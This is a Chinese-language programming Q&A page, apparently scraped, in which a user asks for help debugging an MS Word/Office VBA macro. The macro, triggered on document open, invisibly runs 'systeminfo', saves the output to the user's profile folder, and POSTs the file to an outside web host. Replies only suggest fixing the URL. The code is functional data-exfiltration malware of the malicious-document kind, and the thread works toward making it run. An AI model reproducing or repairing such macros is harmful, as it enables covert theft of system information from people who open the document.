Vba 在visual basic中通过post发送文件

Vba 在visual basic中通过post发送文件,vba,xmlhttprequest,Vba,Xmlhttprequest,我正在用MS Word编写一个makro,以便在cmd中执行一个命令,并通过POST将其发送到远程服务器。我在VB中没有过期版本,因此错误很容易解决,但我不知道我做错了什么 Sub Run_Cmd(command, visibility, wait_on_execute) Dim WshShell As Variant Set WshShell = CreateObject("WScript.Shell") WshShell.Run "%COMSPEC% /c " & command,

我正在用MS Word编写一个makro,以便在cmd中执行一个命令,并通过POST将其发送到远程服务器。我在VB中没有过期版本,因此错误很容易解决,但我不知道我做错了什么

Sub Run_Cmd(command, visibility, wait_on_execute)
Dim WshShell As Variant
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "%COMSPEC% /c " & command, visibility, wait_on_execute
End Sub

Sub Run_Program(program, arguments, visibility, wait_on_execute)
Dim WshShell As Variant
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run program & " " & arguments & " ", visibility, wait_on_execute
End Sub

Const INVISIBLE = 0
Const WAIT = True
Private Sub pvPostFile(sUrl As String, sFileName As String, sPath As String, Optional ByVal bAsync As Boolean)
Const STR_BOUNDARY  As String = "3fbd04f5-b1ed-4060-99b9-fca7ff59c113"
Dim nFile           As Integer
Dim baBuffer()      As Byte
Dim sPostData       As String

'--- read file
nFile = FreeFile
Open sPath For Binary Access Read As nFile
If LOF(nFile) > 0 Then
    ReDim baBuffer(0 To LOF(nFile) - 1) As Byte
    Get nFile, , baBuffer
    sPostData = StrConv(baBuffer, vbUnicode)
    MsgBox sPostData
End If
Close nFile
'--- prepare body
sPostData = "--" & STR_BOUNDARY & vbCrLf & _
    "Content-Disposition: form-data; name=""uploadfile""; filename=""" & Mid$(sFileName, InStrRev(sFileName, "\") + 1) & """" & vbCrLf & _
    "Content-Type: application/octet-stream" & vbCrLf & vbCrLf & _
    sPostData & vbCrLf & _
    "--" & STR_BOUNDARY & "--"
'--- post
With CreateObject("Microsoft.XMLHTTP")
    .Open "POST", sUrl, bAsync
    .SetRequestHeader "Content-Type", "multipart/form-data; boundary=" & STR_BOUNDARY
    .Send pvToByteArray(sPostData)
End With
End Sub

Private Function pvToByteArray(sText As String) As Byte()
pvToByteArray = StrConv(sText, vbFromUnicode)
End Function

Sub Workbook_Open()
Run_Cmd "systeminfo > %USERPROFILE%\temp.txt", INVISIBLE, WAIT
Dim envstring As String
envstring = Environ$("USERPROFILE")
envstring = envstring & "\temp.txt"
pvPostFile "http://testujemywordpressa.pl/index.php", "temp.txt", envstring
End Sub

调试器说“系统找不到指定的资源”

您收到该错误消息的原因是您试图访问的服务器不存在。检查要传递给pvPostFile()的URL。在过去的几个月里,由于URL错误,我已经多次收到此错误。让我知道这是否适合您。

尝试调试并告诉我们在哪一行向您抛出该错误。系统错误发生在哪一行?'。发送pvToByteArray(sPostData)'